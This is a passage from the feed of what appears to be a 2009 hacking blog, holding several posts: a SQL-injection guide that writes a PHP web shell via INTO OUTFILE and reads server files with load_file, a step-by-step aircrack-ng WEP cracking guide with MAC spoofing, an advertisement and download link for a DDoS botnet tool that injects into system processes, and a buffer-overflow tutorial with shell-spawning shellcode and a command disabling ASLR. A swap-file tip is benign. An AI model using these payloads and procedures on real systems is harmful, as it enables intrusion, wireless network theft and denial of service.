/&gt;&lt;br /&gt;UNION SELECT "&lt;? system($_REQUEST['cmd']); ?&gt;",2,3,4 INTO OUTFILE "/var/www/html/temp/c.php" --&lt;br /&gt;Some explanation:&lt;br /&gt;&lt;br /&gt;    * 2,3,4 are just a qualifier that used to make the same number of columns as in the first part of the select query.&lt;br /&gt;    * /var/www/html is a default web directory in the RedHat-like distributions (Fedora, CentOS).&lt;br /&gt;    * temp is a directory with full write access. In your case it could be a different directory.&lt;br /&gt;&lt;br /&gt;The above command will write the query's result with the "&lt;? system($_REQUEST['cmd']); ?&gt;" string appended. Because we added a php extension to the file name, this string will be treated as a PHP command and will allow us to execute shell commands!&lt;br /&gt;&lt;br /&gt;4. Execute shell commands&lt;br /&gt;&lt;br /&gt;Now it is the easiest part. Simply open the webserver to execute shell commands. In our example it will be:&lt;br /&gt;&lt;br /&gt;    * hxxp://www.target.com/temp/c.php?cmd=SHELL_COMMAND&lt;br /&gt;&lt;br /&gt;For example:&lt;br /&gt;&lt;br /&gt;    * hxxp://www.target.com/temp/c.php?cmd=id&lt;br /&gt;&lt;br /&gt;Plan B&lt;br /&gt;&lt;br /&gt;In case you failed to create a PHP file due to a wrong path, there are a number of workarounds:&lt;br /&gt;&lt;br /&gt;1. Generate PHP errors.&lt;br /&gt;&lt;br /&gt;You need to create a situation when a PHP script will fail and the full disk path will be printed in the error message. You can play with page parameters to make this happen.&lt;br /&gt;&lt;br /&gt;2. Find the file that will print phpinfo().&lt;br /&gt;&lt;br /&gt;In some cases you will be lucky and you will get a phpinfo() function executed. This function prints a wealth of PHP internal information including the current directory location.&lt;br /&gt;&lt;br /&gt;Try to access the following urls:&lt;br /&gt;&lt;br /&gt;    * hxxp://www.target.com/phpinfo.php&lt;br /&gt;    * hxxp://www.target.com/test.php&lt;br /&gt;    * hxxp://www.target.com/info.php&lt;br /&gt;&lt;br /&gt;3. Look for a default web directory location.&lt;br /&gt;&lt;br /&gt;You need to get a default web directory location for a web server. Check the following page since it has a big list of default Apache configurations that are used in different distributions.&lt;br /&gt;http://wiki.apache.org/httpd/DistrosDefaultLayout&lt;br /&gt;&lt;br /&gt;4. Read the Apache configuration files.&lt;br /&gt;&lt;br /&gt;MySQL has a built-in command that allows the attacker to read arbitrary files. We can exploit this command to read Apache configuration files and study directory structures. Simply use the load_file() MySQL function.&lt;br /&gt;&lt;br /&gt;For example (SQL query after injection):&lt;br /&gt;select user, password from user where user="admin123" and password='123' UNION select load_file("/etc/apache2/apache2.conf"), 2 -- '&lt;br /&gt;&lt;br /&gt;Note:&lt;br /&gt;You can find a location of Apache configurations at this resource:&lt;br /&gt;http://wiki.apache.org/httpd/DistrosDefaultLayout&lt;br /&gt;Limitation&lt;br /&gt;&lt;br /&gt;In order to allow the above to work, the MySQL user used by this application must have a FILE permission. For example by default, a "root" user has this permission on. FILE is an administrative privilege that can only be granted globally (using ON *.* syntax).&lt;br /&gt;&lt;br /&gt;For example, if the MySQL user was created using the following command, the user will have this FILE permission on.&lt;br /&gt;GRANT ALL PERMISSIONS to *.* to 'USER_NAME'@'HOST_NAME' IDENTIFIED BY 'PASSWORD'&lt;br /&gt;Countermeasures&lt;br /&gt;&lt;br /&gt;1. Install the GreenSQL database firewall.&lt;br /&gt;&lt;br /&gt;GreenSQL is an open source database firewall that can automatically block the commands described above: load_file and INTO OUTFILE. By default, GreenSQL blocks administrative and sensitive SQL commands. In addition, GreenSQL prevents SQL injections by calculating the risk of each query and blocking queries with high risk. For example , UNION token and SQL comments are taken into account. Check the application website for more information http://www.greensql.net/&lt;br /&gt;&lt;br /&gt;2. Do not use MySQL root user to access the database.&lt;br /&gt;&lt;br /&gt;Do not use administrative users to access the database. It is recommended to create a distinct user with hardened permissions to access specific databases.&lt;br /&gt;&lt;br /&gt;3. Revoke FILE permission from the MySQL user used in your applications.&lt;br /&gt;&lt;br /&gt;mysql&gt; REVOKE FILE ON *.* from 'USER_NAME'@'HOST_NAME';&lt;br /&gt;&lt;br /&gt;4. Application code review.&lt;br /&gt;&lt;br /&gt;Ensure that your application does not have any SQL injections and that the code is updated.&lt;br /&gt;Links&lt;br /&gt;&lt;br /&gt;1. MySQL Injection Cheat Sheet&lt;br /&gt;http://www.justinshattuck.com/2007/01/18/mysql-injection-cheat-sheet/&lt;br /&gt;&lt;br /&gt;2. SQL Injection Cheat Sheet&lt;br /&gt;http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/&lt;br /&gt;&lt;br /&gt;3. MySQL Documentation&lt;br /&gt;http://dev.mysql.com/doc/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-3111563632215728661?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/3111563632215728661/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/08/backdoor-webserver-using-mysql-sql.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/3111563632215728661'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/3111563632215728661'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/08/backdoor-webserver-using-mysql-sql.html' title='Backdoor webserver using MySQL SQL Injection'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-3914499541065117592</id><published>2009-08-09T06:34:00.001-07:00</published><updated>2009-08-09T06:46:11.143-07:00</updated><title type='text'>How To Change The Virtual Memory Swap File Size (Speed up computer, dramaticly)</title><content type='html'>In this tutorial I'm going to tell you what the Swap file is and how to configure, for best performance.&lt;br /&gt;&lt;br /&gt;The swap file (virtual memory) is disk memory that the Windows operating system uses to help manage applications when they exceed the amount of RAM configured in the computer. It's important that the swap file be allocated an amount of disk space appropriate for the amount of RAM in the computer. Opinions vary on how big the swap file should be, but most state it should be at least two or three times the size of the amount of RAM. This means if you have 512MB of RAM in the computer, the swap file should be configured to something like 1536MB of RAM. It doesn't need to be exact. The steps below show how I've allocated the swap file for My Super PC (NOT, actually the oldest computer in the world). As you can see, I've allocated about 3 times the 1024MB of RAM I have in My Super PC. If you have ample hard drive space then it's a good idea to go ahead and allocate this much space even if you have 512MB of RAM or less. That way it won't be necessary to remember to increase it should more RAM be added to the computer later.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To change the size of the swap file on Windows XP, click on the Start button and then right click on "My Computer" to bring up a small pop-up menu. On this menu, click on "Properties" to bring up the System Properties window.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The System Properties window looks like this. Click on the "Advanced" tab.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i43.tinypic.com/2ag6rk8.gif"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 419px; height: 486px;" src="http://i43.tinypic.com/2ag6rk8.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In the Performance sub-window, click on the "Settings" button.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i44.tinypic.com/ehk5ec.gif"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 419px; height: 486px;" src="http://i44.tinypic.com/ehk5ec.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The Performance Options window appears. Click on the "Advanced" tab.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i41.tinypic.com/1z38ker.gif"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 367px; height: 535px;" src="http://i41.tinypic.com/1z38ker.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;In the Virtual memory sub-window, click on the "Change" button.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i41.tinypic.com/2wlu4io.gif"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 367px; height: 535px;" src="http://i41.tinypic.com/2wlu4io.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Here are the default values set by Windows XP for the amount of RAM I have in my computer.&lt;br /&gt;Notice in the little window that the C: drive is highlighted showing that is the drive with the swap file, and that the size range of the swap file is also shown. &lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i39.tinypic.com/2v7x79f.gif"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 344px; height: 438px;" src="http://i39.tinypic.com/2v7x79f.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The "Custom size" option is already selected. Setting the "Initial size" and "Maximum size" to the same values increases efficiency and performance since Windows does not have to manage re-sizing the swap file.&lt;br /&gt;Notice that the "Set" button - not the "Ok" button - needs to be clicked for the changes to actually be accepted.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i40.tinypic.com/dxi6xd.gif"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 344px; height: 438px;" src="http://i40.tinypic.com/dxi6xd.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Notice that the highlighted entry has changed to show the new configuration. Click on the "Ok" button.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i43.tinypic.com/4ikaki.gif"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 344px; height: 438px;" src="http://i43.tinypic.com/4ikaki.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Clicking on the "Ok" button again...&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i44.tinypic.com/2rw3x1i.gif"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 367px; height: 535px;" src="http://i44.tinypic.com/2rw3x1i.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;… and then again takes us back to the desktop.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://i43.tinypic.com/x6bkm.gif"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 419px; height: 486px;" src="http://i43.tinypic.com/x6bkm.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Restart the computer for the changes to go into effect. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;reference:hackforums&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-3914499541065117592?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/3914499541065117592/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/08/how-to-change-virtual-memory-swap-file.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/3914499541065117592'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/3914499541065117592'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/08/how-to-change-virtual-memory-swap-file.html' title='How To Change The Virtual Memory Swap File Size (Speed up computer, dramaticly)'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://i43.tinypic.com/2ag6rk8_th.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-3457967122911272050</id><published>2009-08-06T07:38:00.001-07:00</published><updated>2009-08-06T07:38:46.794-07:00</updated><title type='text'>WEP Cracking With Backtrack 4--Simple and Easy Guide!</title><content type='html'>First, you will need to have Backtrack 4 BETA which can be found here.&lt;br /&gt;I use the DVD version, I find it easier. After downloading and burning BT4, you will have to put the CD in your computer, then restart. It should automatically load BT4. You will then be asked to log in...&lt;br /&gt;login: root&lt;br /&gt;pass: toor&lt;br /&gt;&lt;br /&gt;After logging in, type in: startx&lt;br /&gt;&lt;br /&gt;After that, BT4 should be up and running. Read below to see what you have to do next.&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;NOTES&lt;br /&gt;&lt;br /&gt;These are all different colors because they coordinate with parts of the code you will have to change when typing them.&lt;br /&gt;&lt;br /&gt;wlan0 = Interface (Examples: wlan0, ath0, eth0)&lt;br /&gt;&lt;br /&gt;ch = The channel the target is on (Examples: 6, 11)&lt;br /&gt;&lt;br /&gt;bssid = MAC Address of target (Examples: 11:22:33:B1:44:C2)&lt;br /&gt;&lt;br /&gt;ssid = Name of target (Examples: linksys, default)&lt;br /&gt;&lt;br /&gt;filename = Name of .cap file (Examples: wep123, target, anythingyoutwant)&lt;br /&gt;&lt;br /&gt;fragment-*.xor= The * being replaced by a number&lt;br /&gt;(Examples: fragment-25313-0123.xor)&lt;br /&gt;&lt;br /&gt;PASSWORD DECRYPTED (Examples: PA:SS:WO:RD or 09:87:65:43:21)&lt;br /&gt;Ignore “:”&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;WEP CRACK GUIDE&lt;br /&gt;&lt;br /&gt;1. Boot computer with Backtrack 4 (login: root , pass: toor / “poweroff” at end)&lt;br /&gt;2. Open Konsole and type the following:&lt;br /&gt;3. airmon-ng (You will find your Interface here)&lt;br /&gt;4. airmon-ng stop wlan0 ***My interface is wlan0. It may be yours also. Replace all the wlan0 with your own interface!***&lt;br /&gt;5. ifconfig wlan0 down&lt;br /&gt;6. macchanger --mac 00:11:22:33:44:55 wlan0&lt;br /&gt;7. airmon-ng start wlan0&lt;br /&gt;8. airodump-ng wlan0&lt;br /&gt;9. Hit CTRL+C after finding WEP wanting to crack, then COPY THE BSSID&lt;br /&gt;10. airodump-ng -c (ch) -w (file name) --bssid (bssid) wlan0&lt;br /&gt;11. Open new Konsole and type the following:&lt;br /&gt;12. aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 wlan0&lt;br /&gt;13. aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 wlan0&lt;br /&gt;14. Open new Konsole and type the following:&lt;br /&gt;15. aircrack-ng -b (bssid) (file name)-01.cap&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;ALTERNATE ATTACKS&lt;br /&gt;&lt;br /&gt;FRAGMENTATION&lt;br /&gt;1. After step 11 in the WEP CRACK GUIDE, type the following:&lt;br /&gt;2. aireplay-ng -1 6000 -o 1 -q 10 -e (ssid) -a (bssid) -h 00:11:22:33:44:55 wlan0&lt;br /&gt;3. aireplay-ng -5 -b (bssid) -h 00:11:22:33:44:55 wlan0&lt;br /&gt;4. packetforge-ng -0 -a (bssid) -h 00:11:22:33:44:55 -k 255.255.255.255 -l 255.255.255.255 -y fragment-*.xor -w arp-packet&lt;br /&gt;5. airodump-ng -c (ch) --bssid (bssid) -w (file name) wlan0&lt;br /&gt;6. aireplay-ng -2 -r arp-packet wlan0&lt;br /&gt;7. aircrack-ng -b (bssid) (file name)-01.cap&lt;br /&gt;&lt;br /&gt;CHOPCHOP&lt;br /&gt;1. After step 11 in the WEP CRACK GUIDE, type the following:&lt;br /&gt;2. aireplay-ng -1 6000 -o 1 -q 10 -e (ssid) -a (bssid) -h 00:11:22:33:44:55 wlan0&lt;br /&gt;3. aireplay-ng -4 -h 00:11:22:33:44:55 -b (bssid) wlan0&lt;br /&gt;4. Repeat steps 4-7 in the FRAGMENTATION ATTACK&lt;br /&gt;&lt;br /&gt;***Be sure to open new Konsoles when necessary***&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;If you don't really like this guide, please follow these videos from NICEWEBSITE to help you crack WEP!&lt;br /&gt;Cracking WEP with client&lt;br /&gt;or&lt;br /&gt;Cracking WEP without client&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-3457967122911272050?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/3457967122911272050/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/08/wep-cracking-with-backtrack-4-simple.html#comment-form' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/3457967122911272050'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/3457967122911272050'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/08/wep-cracking-with-backtrack-4-simple.html' title='WEP Cracking With Backtrack 4--Simple and Easy Guide!'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-715987066011052481</id><published>2009-08-04T06:38:00.000-07:00</published><updated>2009-08-04T06:40:10.089-07:00</updated><title type='text'>MSN_Zombie Attack DDOS, MSN_Zombie Attack DDOS I</title><content type='html'>MSN_Zombie Attack DDOS Introduction:&lt;br /&gt;&lt;br /&gt;n China this is a Denial of Service DDOS stress testing software MSN_Zombie attack DDOS)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;etwork traffic control and system control technology costs, speed, do not plug, hidden, and powerful attacks, such as outstanding performance characteristics, can fully exploit the weaknesses of the target audience, with the DDOS-DDOS DDOS Firewall (introduced later) to be protective. The protection of corporate Web site or host security.&lt;br /&gt;&lt;br /&gt;Strong performance of the attack&lt;br /&gt;Support for custom packet TCP / UDP attack to attack in support of conventional host, such as multiple TCP connections / UDP floods at / ICMP / IGMP / SYN, etc. to support the Web site attacks, such as HTTP and more connected / HTTP download / FTP multi-connection / FTP download / CC attacks in support of win98/2k/xp/xp-sp2/vista system.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Automatic on-line chickens&lt;br /&gt;A variety of ways to support the on-line mechanism for the broilers, such as Dynamic Domain Name / URL steering / FTP upload documents IP / fixed IP and so on, through a simple configuration can be automatically generated on the server. Server has powerful features automatic re-connection will be able to automatically search for hosts outside the network address, the automatic use of agents, to support the LAN control, never dropped.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hidden performance&lt;br /&gt;Encryptionthe protection of client services can be injected into any process, such as explorer, svchost, etc., NT system service can be generated automatically activated disguised.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;First-class attack speed&lt;br /&gt;Server-side part of the code directly from the completion of the compilation, in order to protect as much as possible at the same time functional compact, perfect attack speed by optimizing the speed and thread, to enhance the capacity of the best attack&lt;br /&gt;Welcome to the forum: www.hackjllm.cn &lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.hackju.cn/2.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 617px; height: 518px;" src="http://www.hackju.cn/2.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Sorry for my poor english&lt;br /&gt;&lt;br /&gt;Download Address:&lt;br /&gt;&lt;br /&gt;http://www.hackju.cn/msn.rar&lt;br /&gt;&lt;br /&gt;Hello, can be customized professional business version of DDOS attack code written by an independent anti-virus software can not be killed but also a more formidable power ..... super cheap price of more powerful than others are discount software cheap attacks.&lt;br /&gt;Contact my MSN: hackxf@live.cn Thank you!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;MSN-DDOS attack latest version of an increase of remote file management. Video surveillance. Screen monitor. Advanced features such as remote shell ...&lt;br /&gt;&lt;br /&gt;The intensity of attacks is a free version of the times, and in support of 16 kinds of attacks.&lt;br /&gt;&lt;br /&gt;by http://www.hackju.cn/msn.htm&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;reference:avhacker.com&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-715987066011052481?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/715987066011052481/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/08/msnzombie-attack-ddos-msnzombie-attack.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/715987066011052481'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/715987066011052481'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/08/msnzombie-attack-ddos-msnzombie-attack.html' title='MSN_Zombie Attack DDOS, MSN_Zombie Attack DDOS I'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-3629028826988342415</id><published>2009-08-02T20:03:00.000-07:00</published><updated>2009-08-02T20:06:24.351-07:00</updated><title type='text'>this backtrack tutorial from my friend</title><content type='html'>if you are a new to using backtrack n dont know, what you do in backtrack, u can download this tutorial....&lt;br /&gt;&lt;br /&gt;please follow this link:&lt;br /&gt;&lt;blockquote&gt;]http://www.4shared.com/file/83596689/7ec9615d/H4ck3rz_Backtrack_tutorials.html?err=no-sess&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;thanks my friend for sharing your knowladge.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3260786454834177359-3629028826988342415?l=devilz-kiddies.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devilz-kiddies.blogspot.com/feeds/3629028826988342415/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/08/this-backtrack-tutorial-from-my-friend.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/3629028826988342415'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3260786454834177359/posts/default/3629028826988342415'/><link rel='alternate' type='text/html' href='http://devilz-kiddies.blogspot.com/2009/08/this-backtrack-tutorial-from-my-friend.html' title='this backtrack tutorial from my friend'/><author><name>kiddies</name><uri>http://www.blogger.com/profile/13318580746848806214</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_OQnLNZeuyqU/TPWY_Tjlt3I/AAAAAAAAABA/yzWi5koouns/S220/I%2BLoVe%2BU%2B4eVer.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3260786454834177359.post-208638290174520773</id><published>2009-07-31T03:01:00.000-07:00</published><updated>2009-07-31T03:08:17.096-07:00</updated><title type='text'>Buffer Overflows Explained [Rev. A - 4/12/09] By: deLusion`</title><content type='html'>Programmers always need to be careful when writing applications for the security of their software. Every application is vulnerable in some form, and code is always looked over. Buffer overflows are one of the most popular attacks on any application, due to the increased chance of this vulnerability being overlooked in the author’s code. Along with being popular, buffer overflow attacks are very dangerous in a system security aspect. Attackers exploiting the vulnerability can execute arbitrary code aimed to gain root privileges to the system.&lt;br /&gt;&lt;br /&gt;Buffers, also called arrays in C/C++, are contiguous blocks of memory for storing a specific data type. An example of a buffer is shown here:&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt;blockquote&gt;char buffer[512];&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;A storage type of char is assigned to the newly declared array called referred to as buffer, now has 512 bytes of allocated storage space. However, there is an issue that can arise when a buffer reaches and leaps over it's specified storage limit unchecked. This problem is what we call a buffer overflow, when blocks of memory are overwritten as a result of passing space limits. In a *nix environment, as a buffer overflow occurs we are confronted with something known as a segmentation fault, segfault for short. Segmentation faults occur when an application tries to overwrite system memory in an incorrect fashion, possibly to locations that are read-only. On a Windows OS, these errors are displayed differently with a STATUS_ACCESS_VIOLATION exception.&lt;br /&gt;&lt;br /&gt;The most important thing to remember about buffer overflow vulnerabilities are that when successfully exploited followed by the spawn of a shell, the shell can only take the permission level of the application that was exploited. Basically, the only way to obtain root authentication on a system through a buffer overflow vulnerability is if the application being exploited is run by the root account, such as a system service. The main part to exploiting a buffer overflow vulnerability successfully is the code to be executed, also known as shellcode, or opcode. Opcodes, short for operation codes, are specific instructions to the processor, usually in machine code format. For simplicities' sake, I will not be showing you how to create your own shellcode from scratch, at least not in this specific article. I will be using sample shellcode provided by milw0rm for a simple shell spawn.&lt;br /&gt;&lt;br /&gt;Machine code is system dependent, meaning that this shellcode is only designed to work with *nix x86 environments. If the provided shellcode doesn't work for you, take a look around on milw0rm, or any site that provides shellcode matching your system architecture.&lt;br /&gt;CODE&lt;br /&gt;&lt;blockquote&gt;\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The 22 byte shellcode presented is a set of instructions to execute a shell on the system. As said before, the shell that is spawned only gains the permissions that the application is currently running on.&lt;br /&gt;&lt;br /&gt;The second most important part of a successful exploitation is the NOP sled. NOP’s are a machine instruction which stands for No-OPeration, all of which are skipped over by the processor until the next set of instructions are reached, basically like a stream following in one direction towards the bigger water source, or the rest of the instructions to be given. NOP’s take the form of the “\x90” hexadecimally represented opcode, and are usually required for buffer overflow exploitations. A grouping of NOP’s used in a buffer overflow attack is called a NOP sled, the name relating to the flow of the application. If a return address is set to any of the NOP’s in the group, the program flows downward until it reaches something else to execute.&lt;br /&gt;&lt;br /&gt;An exception to the NOP sled requirement is through the usage of environment variables. System wide environment variables can be viewed through the env command. The difference of the shellcode and filename can then be calculated to find the exact location of the shellcode stored in the specified environment variable. However, this method will not be showed in detail by this article.&lt;br /&gt;&lt;br /&gt;Last but not least, garbage data and a correct return address are required to complete a buffer overflow exploit. Garbage data is any sort of data to fill the rest of the buffer, it doesn't matter what it is as long as it is not a null byte, thus ending the string. A return address is used by the Instruction Pointer register, also known as the EIP. The EIP tells the processor which memory address to begin execution next, When a buffer is overflowed, the 4 byte EIP is written over by some of the garbage data. The EIP always points to the next instruction to be executed, which is very rewarding for us; now that we have the power to overwrite it.&lt;br /&gt;&lt;br /&gt;Before we start, we need to change a security setting in Linux, which randomizes address space. This setting is required to be changed for basic buffer overflows, more advanced overflows can get around this safety precaution. In bash, enter the following command:&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt;blockquote&gt;echo 0 &gt; /proc/sys/kernel/randomize_va_space&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;That’s all you need to change to make this basic buffer overflow work.&lt;br /&gt;&lt;br /&gt;Now that we know how all this works, how about we put it to good use? Let’s use this piece of vulnerable code just as an example:&lt;br /&gt;&lt;br /&gt;vuln.c&lt;br /&gt;CODE&lt;br /&gt;&lt;blockquote&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int copy(char *string){&lt;br /&gt;&lt;br /&gt;        char buffer[1024];&lt;br /&gt;&lt;br /&gt;        strcpy(buffer, string);&lt;br /&gt;&lt;br /&gt;        return 1;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char *argv[]) {&lt;br /&gt;&lt;br /&gt;        copy(argv[1]);&lt;br /&gt;&lt;br /&gt;        return 1;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br 